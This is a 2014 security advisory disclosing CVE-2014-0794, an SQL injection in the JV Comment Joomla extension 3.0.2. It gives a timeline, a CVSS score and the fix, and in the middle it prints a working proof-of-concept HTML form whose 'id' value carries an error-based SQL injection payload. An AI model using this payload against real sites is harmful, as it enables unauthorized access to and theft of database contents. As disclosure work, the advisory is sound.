Joomla JV Comment extension version 3.0.2 suffers from a remote SQL injection vulnerability.
Product: JV Comment Joomla Extension
Vendor: joomlavi.com
Vulnerable Version(s): 3.0.2 and probably prior
Tested Version: 3.0.2
Advisory Publication: January 2, 2014 [without technical details]
Vendor Notification: January 2, 2014
Vendor Patch: January 14, 2014
Public Disclosure: January 23, 2014
Vulnerability Type: SQL Injection [CWE-89]
CVE Reference: CVE-2014-0794
Risk Level: Medium
CVSSv2 Base Score: 6.5 (AV:N/AC:L/Au:S/C:P/I:P/A:P)
Solution Status: Fixed by Vendor
Discovered and Provided: High-Tech Bridge Security Research Lab ( https://www.htbridge.com/advisory/ )
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Advisory Details:
High-Tech Bridge Security Research Lab discovered SQL injection vulnerability in JV Comment Joomla Extension, which can be exploited to perform SQL Injection attacks.
1) SQL Injection in JV Comment Joomla Extension: CVE-2014-0794
The vulnerability exists due to insufficient validation of "id" HTTP POST parameter passed to "/index.php" script. A remote authenticated attacker can execute arbitrary SQL commands in application's database.
The following exploitation example displays version of MySQL database:
<form action="http://[host]/index.php" method="post" name="main">
<input type="hidden" name="option" value="com_jvcomment">
<input type="hidden" name="task" value="comment.like">
<input type="hidden" name="id" value="1 AND 1=(select min(@a:=1)from (select 1 union select 2)k group by (select concat(@@version,0x0,@a:=(@a+1)%2)))">
<input type="submit" id="btn">
</form>
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Solution:
Update to JV Comment 3.0.3
More Information:
http://extensions.joomla.org/extensions/contacts-and-feedback/articles-comments/23394
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